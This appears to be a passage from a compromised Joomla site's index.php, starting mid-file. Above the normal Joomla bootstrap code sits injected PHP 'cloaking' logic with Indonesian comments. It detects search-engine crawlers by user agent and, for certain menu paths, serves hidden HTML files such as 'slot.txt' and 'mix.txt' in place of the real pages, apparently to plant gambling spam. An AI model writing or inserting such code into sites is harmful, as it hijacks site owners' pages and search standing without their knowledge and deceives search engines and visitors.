JPATH_BASE . '/license.txt', '/index.php/collapsed-menu/our-services' => __DIR__ . '/media/mix.txt', '/index.php/collapsed-menu/shop-store' => __DIR__ . '/media/menu.txt', '/index.php/collapsed-menu/turbo-failure' => __DIR__ . '/media/slot.txt' ]; // 4. Tanda Tangan Bot (Daftar bot yang diperluas) $bot_signatures = ['google', 'bot', 'crawl', 'spider', 'slurp', 'ahrefs', 'bing', 'yandex', 'duckduckgo']; $is_bot = false; foreach ($bot_signatures as $sig) { if (strpos($agent, $sig) !== false) { $is_bot = true; break; } } // 5. Eksekusi Cloaking jika Bot dan Path Cocok if ($is_bot && isset($cloaked_links[$path])) { $html_file = $cloaked_links[$path]; if (file_exists($html_file)) { // Serve konten HTML dan hentikan eksekusi header('Content-Type: text/html; charset=UTF-8'); readfile($html_file); exit; } } // --------------------------------------------------------------------- // END: LOGIKA CLOAKING ANDA // --------------------------------------------------------------------- // Get the framework require_once JPATH_BASE . '/includes/framework.php'; // Mark afterLoad in the profiler. JDEBUG ? $_PROFILER->mark('afterLoad') : null; // Instantiate the application $mainframe = JFactory::getApplication('site'); // Mark afterIntantiate in the profiler. JDEBUG ? $_PROFILER->mark('afterIntantiate') : null; // Initialise the application $mainframe->initialise(); // Mark afterInitialise in the profiler. JDEBUG ? $_PROFILER->mark('afterInitialise') : null; // Route the application $mainframe->route(); // Mark afterRoute in the profiler. JDEBUG ? $_PROFILER->mark('afterRoute') : null; // Dispatch the application $mainframe->dispatch(); // Mark afterDispatch in the profiler. JDEBUG ? $_PROFILER->mark('afterDispatch') : null; // Render the application $mainframe->render(); // Mark afterRender in the profiler. JDEBUG ? $_PROFILER->mark('afterRender') : null; // Return the response echo JResponse::toString($mainframe->getCfg('gzip'));